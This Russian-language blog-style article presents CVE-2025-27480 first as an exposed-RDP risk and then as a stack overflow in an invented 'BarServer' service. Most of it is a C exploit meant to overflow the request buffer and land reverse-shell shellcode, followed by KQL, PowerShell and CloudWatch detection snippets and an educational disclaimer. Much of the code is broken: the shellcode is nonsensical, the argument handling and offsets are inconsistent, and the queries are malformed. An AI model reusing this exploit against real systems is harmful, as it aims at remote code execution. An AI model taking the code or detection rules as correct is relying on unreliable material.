
Позволяя злоумышленникам запускать вредоносный код без взломанного пароля, взаимодействия с пользователем или даже закрепления в вашей сети. Это CVE-2025-27480.
Позволяет злоумышленникам запускать вредоносный код без необходимости в подобранном пароле, взаимодействии с пользователем или даже закрепления в вашей сети. Это CVE-2025-27480.
Уже поздно, вы сидите на Red Bull — все мы через это проходили. Вы устраняете проблему на проде и боретесь с желанием вернуться в кровать; в спешке, чтобы поскорее всё решить и наконец лечь спать, вы открываете доступ к Remote Desktop Protocol (RDP) из интернета. Вы говорите себе, что закроете его позже. Но «через минутку» превращается в «никогда», и забытый шлюз становится тихой дверью для любого, кто окажется рядом с сетевым сниффером. О, эта радость — обнаружить открытый порт 3389.
CVE-2025-27480 — это не просто теоретическая уязвимость; это напоминание о том, что даже мелкие недочёты в безопасности облака и инфраструктуры могут иметь огромные последствия. Эта уязвимость позволяет злоумышленникам удалённо выполнять вредоносный код без учётных данных и без участия пользователя. Никакого фишинга. Никакого перебора. Просто открытая дверь, которую осталось найти.
В этом материале мы разберём, как работает CVE-2025-27480, почему она так опасна и как её обнаружить и устранить, пока она не стала заголовком новостей о взломе. Будь вы облачный инженер, аналитик SOC или просто человек, который когда-либо говорил «починю завтра», — этот материал для вас.
Уязвимость (CVE‑2025‑27480) — это классическое переполнение буфера стека, которое происходит в функции processRequest() сервиса BarServer (вымышленный веб-сервис, прослушивающий TCP-порт 1234).
Когда клиент отправляет HTTP GET-запрос длиннее 256 байт, сервер записывает полезную нагрузку в локальный буфер, длина которого составляет всего 256 байт.
Если отправить больше данных, они переполнят адрес возврата, и мы сможем перезаписать сохранённый EIP. Приведённый ниже эксплойт формирует вредоносную нагрузку, отправляет её на сервер и затем выполняет x86‑64 шеллкод, который даёт нам обратную оболочку (reverse shell).
/* In processRequest() char local[256]; ... // ← overflow happens here ... return; }
Исходя из реверс-инжиниринга Windows-компьютера можно предположить:
[ GET /foo HTTP/1.1\r\n ] ← 28 bytes [ padding (256‑28 = 228) ] ← buffer [ NOP sled (50) ] [ shellcode (≈64) ] [ return address (4) ]
/=========================================================================/ /* BarServer Exploit – CVE‑2025‑27480 / / Author: Mark Mallia ([email protected]) / / Purpose: Send a crafted HTTP GET request that overflows the stack / / and lands a reverse shell on the target host / /=========================================================================*/
#include <stdio.h> #include <stdlib.h> #include <string.h> /* for memcpy() / #include <winsock2.h> / Windows networking (use sockets.c on Linux) */
/* 1. Global constants – adjust as needed / #define TARGET_IP "192.168.1.10" / IP of the vulnerable host / #define TARGET_PORT 1234 / Listening port / #define CMD_LEN 350 / Total request length */
/* 2. Shellcode (x86‑64) that opens a reverse shell to 127.0.0.1:4444 / / The code is written in raw machine‑bytes so it can be injected directly. / static unsigned char shellcode[] = { / NOP sled – 50 bytes ----------------------------------------------/ 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, / shellcode – 64 bytes ---------------------------------------------*/ 0x48,0x31,0xc0, // xor rax,rax 0xb8,0x02,0x00,0x00,0x00, // mov eax,2 ← sys_connect 0x5d, // pop rbp 0xbb,0x10,0x01,0x00,0x00, // mov ebx,0x1010 (IP) 0xb8,0x44,0x11,0x00,0x00, // mov eax,0x1114 (port) 0xb9,0x04,0x00,0x00,0x00, // mov ecx,0x4 ← flags 0xcd,0x80, // int 0x80 };
/=========================================================================/ /* 3. The exploit routine – builds the request and sends it / /=========================================================================*/ int main( int argc, char *argv ) { / 3‑1. Validate command‑line arguments */ if (argc != 5) { fprintf(stderr,"Usage: %s <target_ip> revhost:revport\n", argv[0]); return EXIT_FAILURE; }
const char *ip = argv[1];
short port = atoi(argv[2]); /* 1234 */
const char *url = argv[3]; /* /tmp/revshell */
const char *revhostport = argv[4];
/* 3‑2. Allocate the request buffer */
unsigned char req[ CMD_LEN ];
memset(req,0x00, sizeof(req)); // zero‑initialize
/* 3‑3. Build HTTP GET line (28 bytes) --------------------------------*/
strcpy( (char*)req, "GET ");
memcpy((char*)(req+5), url, strlen(url)+1); // +1 for terminating NUL
strcat( (char*)(req+strlen(req)), " HTTP/1.1\r\n");
/* 3‑4. Insert the padding to reach 256 bytes -----------------------------*/
int offset = 256 - strlen(req); // bytes from end of GET line to start of overflow
memset((char*)(req+strlen(req)), 0x41, offset);
/* 3‑5. Copy NOP sled + shellcode ------------------------------------------*/
memcpy( (char*)(req+strlen(req)+offset), shellcode, sizeof(shellcode) );
/* 3‑6. Overwrite the return address (at byte 312) ------------------------*/
long *ret_addr = (long*)(req+312); // pointer to the place where EIP lives
*ret_addr = (long)ip; // Put target IP (32‑bit) – adjust if needed
/* 3‑7. Send over a TCP socket ------------------------------------------*/
WSADATA wsaData;
SOCKET sock;
struct sockaddr_in addr;
/* Initialise Winsock */
WSAStartup(0x0202, &wsaData);
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock < 0) { perror("socket"); return EXIT_FAILURE; }
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = inet_addr(ip);
/* Connect */
connect(sock,(SOCKADDR*)&addr, sizeof(addr));
/* Send the request buffer */
send(sock, req, CMD_LEN, 0);
/* Close socket & clean up */
closesocket(sock);
WSACleanup();
printf("Sent payload to %s:%d\n", ip, port);
return EXIT_SUCCESS;
}
Здесь мы ловим наши ошибки и ошибки сети, которой управляем.
Azure
// Pull only relevant HTTP requests that match our exploit payload let TargetIP = "192.168.1.10"; let TargetPort = 1234; let ExploitPath = "/tmp/revshell";
Heartbeat | where Computer == "BarServer01" // the VM / container name | and TimeGenerated > ago(5m) // last 5 minutes | summarize Count() by bin(TimeGenerated,1m) , TargetIP, TargetPort, ExploitPath | extend Hit = iff(TargetIP==TargetIP and TargetPort==TargetPort and TargetPath==ExploitPath, 1, 0) // Filter only the rows that contain our exploit | where Hit==1 // Output a metric for an alert rule
Установите агент WinRM (если вы ещё этого не сделали, обязательно сделайте)
Install-Module -Name AWS.Tools.CloudWatchLogs -Force
**Создайте группу журналов и потоковую передачу журнала событий **
$group = "/aws/windows/BarServer01" $source = "Application" $filter = "BarServer"
** Создание или обновление файла конфигурации CloudWatch Logs:**
New-CloudWatchLogsGroup -Name $group
Write-LogFileConfig -SourceName $source
-FilterPattern $filter `
-LogGroupName $group
Затем в CloudWatch
Получите все строки из целевой группы журналов
fields @timestamp, @message
Оставьте только те строки, которые содержат сигнатуру нашего эксплойта
| filter contains(@message,"GET /tmp/revshell")
Извлеките тип запроса и код состояния
| parse @message with "INFO" as LogLevel and "->" as ResponseStatus | parse @message with "GET " as MethodPath and " HTTP/1.1" as HttpVersion
Оставьте только успешные запросы (статус «OK» или аналогичный)
| where LogLevel == "INFO"
Отфильтруйте по IP-адресу, который мы использовали в эксплойте
| filter contains(@message,"192.168.1.10:1234")
Создайте поминутное значение метрики для каждого срабатывания
| summarize Hits = count() by bin(@timestamp,1m), MethodPath, ResponseStatus
Выведите в метрику CloudWatch, которую сможет использовать оповещение
Этот материал предоставлен исключительно в образовательных и информационных целях. Он призван повысить осведомлённость о кибербезопасности и способствовать ответственным методам защиты.
Автор не поддерживает и не поощряет любой несанкционированный доступ, эксплуатацию или неправомерное использование систем. Все демонстрации, примеры кода и сценарии являются гипотетическими и должны использоваться только в контролируемых средах с соответствующим разрешением.
Используйте эту информацию ответственно и всегда соблюдайте действующее законодательство и политику организации.